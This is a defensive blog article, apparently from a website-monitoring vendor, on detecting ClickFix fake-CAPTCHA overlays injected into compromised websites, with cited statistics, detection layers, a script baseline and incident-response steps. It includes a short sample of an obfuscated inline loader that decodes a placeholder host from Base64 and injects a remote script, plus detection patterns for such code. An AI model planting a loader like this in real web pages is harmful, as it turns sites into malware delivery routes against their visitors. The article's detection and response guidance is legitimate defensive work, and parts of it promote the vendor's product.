What ClickFix means on a hijacked website
The EU cybersecurity agency describes ClickFix in its threat landscape for the period July 2024 to June 2025 as a technique that gained clear momentum from the first quarter of 2025, among both criminal and state-aligned groups (ENISA). The overlays often pose as fake CAPTCHA prompts on compromised or fraudulent websites and get users to run PowerShell commands under the pretext of human verification, ending in information stealers and loaders (ENISA). For operators, one sentence in the same report matters most: from the second quarter of 2025, attackers deliberately embedded fake CAPTCHA and verification prompts in compromised websites (ENISA). Your own site is then no longer only the target of an attack but the delivery route for the next one.
How large a single wave can get is shown by the ClearFake campaign: it distributed credential-stealing malware including Lumma and Vidar and resulted in 9,300 confirmed infections (ENISA). For Lumma alone, the same report cites reports of around 394,000 affected Windows machines worldwide between March and May 2025, with a strong prevalence in the EU (ENISA). These figures describe campaigns, not the number of hijacked websites. They do show, however, that an unremarkable overlay can be backed by infrastructure built for volume.
That the route via compromised legitimate websites also appears in ransomware cases is recorded in a joint advisory by CISA and the FBI dated July 22, 2025 (CISA). The FBI observed initial access via drive-by download from compromised legitimate websites there and calls this an uncommon method among ransomware groups (CISA). The same advisory describes the ClickFix variant exactly as visitors experience it: the CAPTCHA tells users to open the Windows Run window, paste the clipboard contents and start a Base64-encoded PowerShell process; the technique has been used in several other campaigns, including Lumma Stealer and DarkGate (CISA). MITRE lists the pattern as its own sub-technique T1204.004, in which users run the command themselves by copying and pasting, and explicitly mentions fake error messages and CAPTCHA prompts on malicious websites (MITRE).
The overlay does not have to appear for every visitor. Injected code can filter by operating system, origin, time of day or a cookie and skip logged-in administrators, known addresses or returning visitors. Because the instructions target the Windows Run window (CISA), a team checking with other systems or while logged in may see a completely normal page. The first signs then often come from outside: a customer asking about the odd check, or a warning in the browser.
How the overlay gets into the page
What comes first is usually not the overlay itself but access to the website: an unpatched extension, an outdated library, a reused password for the back end or a compromised account at a service provider. The BSI sees the likely background of the peak in newly reported malicious addresses in the third quarter of 2024 in JavaScript vulnerabilities that made web pages susceptible to injected malicious code and allowed attackers to hide malware in legitimate web pages (BSI). Once access exists, attackers mostly use one of three routes to deliver the overlay.
A few lines in the theme, a template or a database option that are delivered with every page view. They often assemble the actual loader address only in the browser, for example from a Base64 string, so that it does not stand out as an address in the source.
The next stage sits on a domain that the attacker owns or has hijacked as well. Experience shows that this delivery address changes often, while the inclusion in the hijacked page stays in place until someone removes it.
Instead of drawing the window directly into the page, some variants place a borderless iFrame over the whole screen. The page underneath stays fully intact; the visitor only sees the supposed check on top of it.
What all three routes have in common is that the page barely changes for a human viewer. The decisive question is therefore not whether the website looks different, but whether it is put together differently: which scripts it loads, from which hosts, and whether the HTML contains code that was not there before. This applies to legitimate inclusions too, because a compromised provider of an embedded script reaches every website that loads it. The basics are covered in the article on third-party scripts as a security risk.
The delivery address changes, the inclusion stays
How quickly the infrastructure behind such campaigns turns over is shown by the figures the BSI evaluates from the reporting platform abuse.ch. In the first quarter of 2025, more than 100,000 new malicious websites were identified there, roughly twice as many as in the first quarter of 2024 (BSI). The peak so far was the third quarter of 2024, with 284,698 newly reported malicious URLs (BSI). What is counted are websites that distribute malware, which usually means the addresses of the next stage. A hijacked company website that only embeds the loader does not necessarily appear in these statistics itself.
The lifetime of these addresses is short, too. In the reporting period, such a website was reachable for about 1.77 hours on average, with fluctuations (BSI). In July 2024 the value was still around 2.3 hours; in March 2025, after a brief rise in December 2024, it was below one hour (BSI). The BSI gives two reasons: attackers change providers frequently, and the security community reports the sites to providers, who then take them offline (BSI). Web filters and firewalls block known malicious websites via blocklists (BSI).
For operators, this leads to an observation that is not in the statistics but follows from how attackers work: the address of the next stage is the shortest-lived element of the chain, the inclusion in your own page the longest-lived. An example from the ENISA report shows how resilient such structures are. After a Europol-coordinated action in May 2025 in which around 2,300 malicious domains of the Lumma infrastructure were seized, taken down, suspended or blocked, Lumma apparently resumed operations a few days later (ENISA). For information stealers overall, ENISA observed new delivery mechanisms during the reporting period, including fake CAPTCHA verification pages (ENISA). If you want to protect your own website, the delivered source is therefore a more reliable measuring point than the question of whether a particular destination address is currently known.
The survey is a reporting statistic based on a community project and, according to the BSI, covers a comparatively small visible field; it allows no statements about the total population of malicious websites (BSI). The figures show pace and direction, not the risk to an individual website. For your own site, what counts is what it actually delivers.
Which traces remain in the source
What matters is the HTML that reaches the visitor, not the template in the CMS and not the file in the repository. Injected code often sits in places nobody reads regularly: a header or footer field in the theme settings, a database option, a rarely visited subpage or an additional file pulled in via an include. Typical traces are:
- A script from a host that belongs neither to your own business nor to a known service provider, often with a random-looking name and a freshly registered domain.
- Addresses that are only created at runtime, for example via atob(), concatenated strings or character codes, so that no domain name appears in plain text.
- Access to the clipboard, meaning calls to navigator.clipboard.writeText or execCommand with copy, although the page offers no copy function.
- An element with fixed positioning over the entire viewport and a very high z-index, often a borderless iFrame.
- Strings such as “I am not a robot” or “Verify you are human” in the source of a page that does not use a verification prompt itself.
- Accompanying traces outside the HTML: new administrator accounts, unknown files in the upload or theme directory, changed timestamps on templates.
<!-- Excerpt from the delivered HTML, shortened -->
<script src="/assets/theme/js/app.min.js?v=4.2"></script>
<script>
(function () {
var s = document.createElement("script");
s.src = atob("aHR0cHM6Ly9jZG4tMTkyLmV4YW1wbGUuaW52YWxpZC9sLmpz");
document.head.appendChild(s);
})();
</script>The example is deliberately inconspicuous. The first line is the genuine theme script; below it is an inline block that decodes the address cdn-192.example.invalid from a Base64 string and loads a further script. No foreign domain name appears in the source; only the browser creates the request. That is exactly why two perspectives help: comparing the delivered HTML with an earlier state, which shows the new inline block as a change to the markup, and looking at the hosts that are actually loaded during rendering. The screenshot changelog combines both: it builds a normalised hash over the HTML and a DOM fingerprint that captures newly added external script and iFrame hosts, provided the code is delivered during the respective run (XICTRAQ).
A well-configured Content Security Policy reduces the damage, because the browser does not load scripts from hosts that are not allowed and rejects inline code without a nonce or hash. It does not, however, prevent attackers with write access from changing the policy itself or abusing an allowed host. How to build a robust policy is shown in the guide to configuring a Content Security Policy.
Checking the script inventory against a baseline
A baseline is the documented list of what a page is allowed to load: which external scripts from which hosts, with which hash, and which iFrames. Against this list, two different events can be told apart. A new inclusion means that a script or host appears that was not there before. A drift means that a known script suddenly delivers different content under the same address. Both occur with ClickFix, depending on whether the attacker inserts a new line or modifies an existing file.
{
"page": "https://www.shop.example/",
"learned_on": "2026-09-14",
"scripts": [
{ "host": "cdn.payment.example", "path": "/v3/checkout.js", "sha256": "9f2c41…e07b" },
{ "host": "tags.stats.example", "path": "/s.js", "sha256": "4b7a0d…91c3" }
],
"iframes": ["www.maps.example"],
"confirmed_by": "operations@shop.example"
}Script integrity monitoring follows this pattern for external scripts. When scanning your own verified website, XICTRAQ fetches up to 12 external scripts and learns their SHA-256 hash as the baseline (XICTRAQ documentation). Every ten minutes, a check run fetches the monitored scripts again, up to 150 per run, and compares the newly computed hash (XICTRAQ documentation). If it differs, XICTRAQ reports the drift once per entry through the configured channels until someone confirms or dismisses it; according to the documentation, a learned hash is not overwritten automatically (XICTRAQ documentation). Every learned entry appears in the script panel with its host and the time it was first seen. Details are in the script integrity documentation; the feature is available from the Business plan.
An honest assessment includes the limits. Scripts from the same host as the page and XICTRAQ’s own scripts are excluded from script integrity, and embedded inline code has no address of its own that could be hashed (XICTRAQ documentation). An inline loader like the one in the example above is therefore caught by the HTML comparison in the changelog, not by the script hash. If, on the other hand, a file on your own server is modified, such as the minified theme script, the delivered HTML stays the same; whether the foreign host loaded afterwards shows up in the rendered document depends on whether the code is delivered during the check run at all. A comparison of files against the last deployment covers this case more reliably, for example via checksums from the build process. The layers complement each other; none replaces another.
| Check layer | Detects | Limit |
|---|---|---|
| Script hash (script integrity) | Changed content of a known external script, even if the address stays the same | External scripts only, up to 12 per scan; own host and inline code excluded |
| HTML hash (screenshot changelog) | New inline code, additional script tags and changed templates in the delivered markup | Checks at the pace of the screenshot runs, every 24 or every 12 hours depending on the plan |
| DOM fingerprint | Newly added external script and iFrame hosts | Only sees what is delivered during the run; the first three runs form the baseline, switched on per website |
| Pixel diff | A visible overlay, if it appears during the run | Conditionally delivered overlays may not appear in the check run |
| Security scan | Inventory of embedded third-party scripts and Safe Browsing status of the domain | A snapshot, no blocking in the visitor’s browser |
The security scan adds an inventory to ongoing monitoring: it lists the third-party scripts embedded in a page and shows the Safe Browsing status of the domain. If a host appears there that nobody on the team can attribute, that is a reason to trace the inclusion back, even if no alert has fired yet.
If you can pin your own inclusions of third-party scripts, use Subresource Integrity. The integrity attribute stores the expected hash directly in the script tag, and conformant browsers must support SHA-256, SHA-384 and SHA-512 for it (W3C). If the provider delivers different content, the browser refuses to execute it. This does not help against a newly inserted line, but it does against swapped provider code. How to keep this under continuous control is described in the article on Subresource Integrity monitoring.
For a quick spot check without a tool chain, a command line is enough. Fetching with a Windows user agent is intentional, because some variants only deliver the overlay to systems on which the instructions work. The host list of the baseline comes from an earlier fetch known to be clean.
The spot check has clear limits. The host comparison shows no new host here, because the loader assembles its address only in the browser; only the search for atob, for dynamically created script elements and for clipboard access produces hits. Two hits are not yet a finding, as legitimate libraries use these functions too. They are, however, a reason to read the matching lines. The loaded script itself should only be opened on an isolated system, never on a work computer with stored credentials.
Immediate measures when the overlay appears
If a customer reports the odd verification prompt or one of the check layers fires, the order of steps matters. Deleting first destroys the evidence; securing evidence for too long lets the page keep distributing. A prepared website incident response plan defines who decides and who acts technically. This sequence has proven itself:
- Secure evidence: save the delivered HTML, headers and the loaded address with a timestamp, and copy the web server and CMS log files before anything is changed.
- Take it offline instead of deleting: put the site into maintenance mode or switch off the affected template so that no further visitors see the overlay.
- Renew access: change passwords for the back end, hosting, database and FTP, end open sessions, review API keys and service provider access, and remove unknown administrator accounts.
- Close the entry point: update extensions, themes and libraries. How to detect vulnerable JavaScript libraries is covered in a separate article.
- Redeploy cleanly: restore the code from a known clean source instead of removing individual lines from the running installation, and search database content specifically for injected script tags.
- Relearn the baseline: confirm changed script hashes and reset the baseline in the changelog only after the clean-up, never before.
- Check the external view: review the Safe Browsing status and blocklist entries and request a review after the clean-up.
- Clarify reporting obligations: whether a report is required, and within what deadline, depends on sector and size. The article on NIS2 incident reporting for website operators gives an overview.
Checking a suspicion does not include following the instructions or trying out the clipboard contents on a work computer. The command usually loads further stages that can read credentials and sessions. If you want to see the content, paste it into a plain text editor on an isolated system and read it there.
On the visitor side, CISA and the FBI recommend, among other things, DNS filtering, web access firewalls and training so that users spot social engineering attempts (CISA). Operators can contribute by stating clearly what their site does not ask for: a genuine verification prompt never asks anyone to paste a command into the Run window or a console. A sentence like this in the help section or the order confirmation costs nothing and gives customers a yardstick.
Informing customers without claiming more than is known
If you have found ClickFix on your own site, you have to assume that some visitors followed the instructions. A notice to customers needs three pieces of information: the period during which the overlay may have been delivered, an exact description of the instructions so that those affected can remember, and a contact for questions. It should also include clear advice on what those affected should do: disconnect the computer from the network, change passwords from another device and involve their own IT or a specialist.
The period is often the hardest piece of information. Records created before the incident help here: the last state without the foreign inclusion, the first state with it, archived before-and-after images and log files. Without this evidence, only a cautious estimate remains, and it should be labelled as such. Insurers often ask for the same records; which evidence counts is described in the article cyber insurance: which website evidence agencies provide.
A hijacked shop looks the same on the day of the attack as it did the day before. What changes is in the delivered source and in the list of hosts it loads, and that is exactly where monitoring should look.
— XICTRAQ
Check plan before the fourth-quarter traffic peak
In the fourth quarter, visitor numbers and advertising budgets rise for many shops, and with them the damage an unnoticed overlay can cause. If you compare against the previous year, you should also know that promotional days shift in the calendar; the article on year-over-year Q4 reports shows how to separate this cleanly. For secure delivery, a short list worked through once before the ramp-up is enough:
- Create a baseline of all external scripts and iFrame hosts on the revenue-relevant pages and have it confirmed by a responsible person.
- Remove inclusions that are no longer needed, because a script that is not loaded cannot be delivered in modified form either.
- Restrict the Content Security Policy to the hosts actually required and allow inline code only with a nonce or hash.
- Set Subresource Integrity for all fixed inclusions of third-party libraries.
- Secure back-end access with a second factor and delete accounts of former service providers.
- Route alerting to a channel that is also read at weekends, and name a deputy.
- Rehearse the incident procedure once: who takes the site offline, who informs customers, where are the credentials?
After every planned deployment, the instant check is worthwhile: it fetches a website’s scripts again straight away, up to 60 of them, and compares the hashes (XICTRAQ documentation). This way an intended change is confirmed before it is reported as drift, and an unintended one surfaces earlier. The same discipline applies to functions that matter legally in the Christmas season, such as the withdrawal button in an online shop.
The first three screenshot runs form the baseline in the changelog and deliberately trigger no alert (XICTRAQ). If you only switch on monitoring when the site is already compromised, the overlay is learned as the normal state. That is why a thorough review of the source belongs before switching it on, and a freshly learned baseline after every clean-up.
Agencies that look after many client sites face the same task in larger numbers. A baseline per client site, shared alerting and a fixed procedure for confirmation after deployments prevent a single hijacked site from getting lost in the noise. How to organise this for several clients is shown on the page for agencies.
XICTRAQ does not block scripts in your visitors’ browsers; it makes changes visible. Script integrity checks up to 12 external scripts per scan and excludes scripts from your own host as well as inline code. The screenshot changelog checks every 24 or every 12 hours depending on the plan and creates an event with an alert from a correlated score of 60 (XICTRAQ). The signals are indications of change, not conclusive proof of security. An overlay delivered only to selected visitors can escape a single check run; that is why customer reports belong to the early warning system just as much as any measurement.
This article draws on: ENISA Threat Landscape 2025 (version 1.2, reporting period July 2024 to June 2025); BSI situation report 2025, section on malicious websites; CISA and FBI, Cybersecurity Advisory AA25-203A “#StopRansomware: Interlock” of July 22, 2025; MITRE, sub-technique T1204.004 “Malicious Copy and Paste”; W3C, Subresource Integrity working draft; XICTRAQ documentation on script integrity and the screenshot changelog.